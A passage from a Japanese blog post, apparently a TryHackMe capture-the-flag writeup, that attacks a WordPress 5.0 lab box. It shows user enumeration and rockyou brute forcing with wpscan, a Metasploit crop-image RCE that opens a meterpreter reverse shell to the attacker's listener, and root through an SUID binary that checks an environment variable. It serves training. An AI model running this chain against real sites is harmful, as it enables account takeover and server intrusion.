0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 1 year has passed since last update.

【TryHackMe】Blog - Writeup

Last updated at Posted at 2024-02-07

はじめに

TryHackMeの "Blog" というルームのWriteupです。
Wordpressで作られたブログをハックしていきましょう!

  • 難易度: Medium

image.png

使用ツール

  • nmap
  • gobuster
  • wpscan
  • Metasploit

Recon (偵察) → Enumeration (列挙) → GainingAccess (侵入) → PrivEsc (権限昇格)
という流れで進めていきます。
侵入後に user.txt、権限昇格後に root.txt をゲットするのが目標です。

Recon

Blogということなのでブラウザから見てみる。かわいいブログ! 

image.png

やあ、ビリー! これはいいアイデアだと思うよ。 最近クビになったから、このブログを使ってチュートリアルやガイドを書いて、あなたのようにIT業界を始めたばかりの人たちを助けることができる。 きっと多くの人を助けると思うよ。
落ち込まないで! 前向きに、自分がやっていることを続けて、きっといいことがあるよ。
立ち上がったら、この投稿を隠すのを忘れないでね!
愛してるよ、お母さんより

( ´_ゝ`)フーン

nmapでオープンポートを調べていく。

$ nmap -sV 10.10.183.156
Starting Nmap 7.60 ( https://nmap.org ) at 2024-02-07 08:10 GMT
Nmap scan report for ip-10-10-183-156.eu-west-1.compute.internal (10.10.183.156)
Host is up (0.043s latency).
Not shown: 996 closed ports
PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp  open  http        Apache httpd 2.4.29 ((Ubuntu))
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
MAC Address: 02:DB:4A:72:9A:2B (Unknown)
Service Info: Host: BLOG; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.58 seconds

22,80,139,445が開いていることが分かった。
OpenSSHのバージョンと、Sambaが怪しそう(?)

Enumeration

ツールで隠しページが無いか調べてみる。

$ gobuster dir -u http://10.10.183.156 -w /usr/share/wordlists/dirb/common.txt 
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.183.156
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirb/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2024/02/07 08:21:12 Starting gobuster
===============================================================
/.hta (Status: 403)
/.htaccess (Status: 403)
/.htpasswd (Status: 403)
/0 (Status: 301)
/admin (Status: 302)
/atom (Status: 301)
/dashboard (Status: 302)
/embed (Status: 301)
/favicon.ico (Status: 200)
/feed (Status: 301)
/index.php (Status: 301)
/login (Status: 302)
/page1 (Status: 301)
/rdf (Status: 301)
/robots.txt (Status: 200)
/rss (Status: 301)
/rss2 (Status: 301)
/server-status (Status: 403)
/wp-admin (Status: 301)
/wp-content (Status: 301)
/wp-includes (Status: 301)
===============================================================
2024/02/07 08:22:26 Finished
===============================================================

admin, loginとかが気になる。
どっちも以下のログイン画面にリダイレクトされるようだ。

image.png

admin,adminでログインしてみるけど失敗。まあそうですよね、、、

kaliにデフォルトで入っている wpscan を試していく。

$ wpscan --url http://blog.thm --enumerate u
## --enumerate u でユーザ名を表示させる

[+] WordPress readme found: http://blog.thm/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] Upload directory has listing enabled: http://blog.thm/wp-content/uploads/
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] WordPress version 5.0 identified (Insecure, released on 2018-12-06).
 | Found By: Rss Generator (Passive Detection)
 |  - http://blog.thm/feed/, <generator>https://wordpress.org/?v=5.0</generator>
 |  - http://blog.thm/comments/feed/, <generator>https://wordpress.org/?v=5.0</generator>

[+] Enumerating Users (via Passive and Aggressive Methods)
 Brute Forcing Author IDs - Time: 00:00:00 <============> (10 / 10) 100.00% Time: 00:00:00

[i] User(s) Identified:

[+] kwheel
 | Found By: Author Posts - Author Pattern (Passive Detection)
 | Confirmed By:
 |  Wp Json Api (Aggressive Detection)
 |   - http://blog.thm/wp-json/wp/v2/users/?per_page=100&page=1
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[+] bjoel
 | Found By: Author Posts - Author Pattern (Passive Detection)
 | Confirmed By:
 |  Wp Json Api (Aggressive Detection)
 |   - http://blog.thm/wp-json/wp/v2/users/?per_page=100&page=1
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[+] Karen Wheeler
 | Found By: Rss Generator (Passive Detection)
 | Confirmed By: Rss Generator (Aggressive Detection)

[+] Billy Joel
 | Found By: Rss Generator (Passive Detection)
 | Confirmed By: Rss Generator (Aggressive Detection)

バージョンは "WordPress 5.0" とのこと。ユーザも4人見つけた。

Gaining Access

wpscanでパスワードクラックをしていく。

$ wpscan --url http://blog.thm -U kwheel,bjoel -P /usr/share/wordlists/rockyou.txt --password-attack wp-login -t 64
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.7
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

(中略)

[+] Performing password attack on Wp Login against 2 user/s
Trying kwheel / manchesterunited Time: 00:01:06 <> (5620 / 28688782)  0.01%  ETA: 93:56:2[SUCCESS] - kwheel / cutiepie1                                                           
Trying bjoel / 123456789123456789 Time: 00:02:28 <> (12296 / 28691662)  0.04%  ETA: 96:21Trying bjoel / amigasporsiempre Time: 00:04:03 <> (20591 / 28691662)  0.07%  ETA: 94:17:3^Cying bjoel / lisbon67 Time: 00:08:57 <       > (45822 / 28691662)  0.15%  ETA: 93:20:34
[!] Valid Combinations Found:
 | Username: kwheel, Password: cutiepie1

kwheelのパスワードがわかった。ログイン成功!!wpscanすごい。

image.png

同じパスワードでsshにもログイン出来ないか調べてみたけどだめでした。

Metasploit

調べてみると Metasploit というツールが使えそう。
Metasploitのコンソールを立ち上げるとインタラクティブになっているので入力していく。

$ msfconsole
msf6 >

"WordPress 5.0"で検索するとリモートアクセスの脆弱性があるようで、CVEがわかったのでMetasploitに入力する。

$ msfconsole

msf6 > search CVE-2019-8942
Matching Modules
================

   #  Name                            Disclosure Date  Rank       Check  Description
   -  ----                            ---------------  ----       -----  -----------
   0  exploit/multi/http/wp_crop_rce  2019-02-19       excellent  Yes    WordPress Crop-image Shell Upload


Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/http/wp_crop_rce

0番のモジュールを使う

msf6 > use 0
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp

show optionで必要な項目を見る。yesと書いてあるところを記入すればよい。

msf6 exploit(multi/http/wp_crop_rce) > show options

Module options (exploit/multi/http/wp_crop_rce):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD                    yes       The WordPress password to authenticate with
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT      80               yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       The base path to the wordpress application
   THEME_DIR                   no        The WordPress theme dir name (disable theme auto-detection if provided)
   USERNAME                    yes       The WordPress username to authenticate with
   VHOST                       no        HTTP server virtual host


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.3.70     yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   WordPress

どんどん情報を追加していく。

msf6 exploit(multi/http/wp_crop_rce) > set PASSWORD cutiepie1
PASSWORD => cutiepie1
msf6 exploit(multi/http/wp_crop_rce) > set RHOSTS http://blog.thm
RHOSTS => 10.10.193.69
msf6 exploit(multi/http/wp_crop_rce) > set USERNAME kwheel
USERNAME => kwheel
msf6 exploit(multi/http/wp_crop_rce) > set LHOST 10.14.47.124
LHOST => 10.14.47.124
msf6 exploit(multi/http/wp_crop_rce) > show options

Module options (exploit/multi/http/wp_crop_rce):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD   cutiepie1        yes       The WordPress password to authenticate with
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     blog.thm         yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT      80               yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       The base path to the wordpress application
   THEME_DIR                   no        The WordPress theme dir name (disable theme auto-detection if provided)
   USERNAME   kwheel           yes       The WordPress username to authenticate with
   VHOST                       no        HTTP server virtual host


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.14.47.124     yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   WordPress

exploitで実行!!!

msf6 exploit(multi/http/wp_crop_rce) > exploit

[*] Started reverse TCP handler on 10.14.47.124:4444 
[*] Authenticating with WordPress using kwheel:cutiepie1...
[+] Authenticated with WordPress
[*] Preparing payload...
[*] Uploading payload
[+] Image uploaded
[*] Including into theme
[*] Sending stage (39927 bytes) to 10.10.193.69
[*] Meterpreter session 1 opened (10.14.47.124:4444 -> 10.10.193.69:49924) at 2023-10-14 18:18:45 +0900
[*] Attempting to clean up files...

meterpreter > pwd
/var/www/wordpress

侵入成功!!!!!!

とりあえずuser.txtを探しに行く。

$ meterpreter > cd /home/bjoel
meterpreter > cat user.txt
You won't find what you're looking for here.

TRY HARDER

You won't find what you're looking for here.
TRY HARDER...とな???
他の場所にuser.txtがあるらしい、、、、

もう一度問題を読むと、先にroot.txtを取得せよと書いてあった。
権限昇格してからuser.txtを探すようだ。

PrivEsc

いろいろ探し回りたいのに、find, locate, exportとかのlinuxコマンドが打てない。
なぜだ、、、、、

meterpreter のバージョンやタイプ(例えば Windows Meterpreter、PHP Meterpreter 等)によって、利用可能なコマンドが異なる場合があります。help コマンドを使用して、使用可能なコマンドのリストを確認してください。

chatGPTに聞いたところmeterpreterのモジュールによってサポートしているコマンドが違うようで、helpコマンドを実行してみたら実行できるコマンドが少なかった。

その中でshellというコマンドがあったので実行してみると割といろいろ出来ることがわかった。

$ find / -perm -u=s -type f 2>/dev/null | awk -F'/' '{print $NF}' | sort -u
at
checker
chfn
chsh
dbus-daemon-launch-helper
(略)

checkerという自作コマンド?みたいなものがあるので、実行。

$ checker
Not an Admin
$ whoami
www-data

ltraceで詳しく見てみると、

$ ltrace checker
getenv("admin")                                  = nil
puts("Not an Admin")                             = 13
Not an Admin
+++ exited (status 0) +++

環境変数adminがnilだと "Not an Admin" と言われるようなので
環境変数になにかしら入れてあげる

$ export admin=test
$ ltrace checker
getenv("admin")                                  = "hoge"
setuid(0)                                        = 0
system("/bin/bash"
> whoami
root

なんかrootになれてしまった

find / -type f -name root.txt 2>/dev/null
/root/root.txt

cat /root/root.txt
9a0b2b618bef9*********
find / -type f -name user.txt 2>/dev/null
/home/bjoel/user.txt
/media/usb/user.txt

cat /media/usb/user.txt
c8421899***********

無事、root.txt, user.txtを取得!!!!

あとがき

Wordpressのハックたのしい!
ツールをたくさん使えてすごく楽しいルームでした。

  • Wordpressのバージョンが古い
  • 脆弱なパスワードのユーザがいる

の2つ揃えば侵入できてしまうの恐ろしい!!

攻略の流れとしてはこんな感じだった。

  • wpscanでユーザリストアップ
  • wpscanでパスワードクラック
  • WordpressのバージョンからCVE確認
  • MetasploitでCVEとパスワードでExploit
  • 侵入後はSUIDが設定されているコマンドを実行して権限昇格

Wordpressのブログを持っている人は気を付けましょう。

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?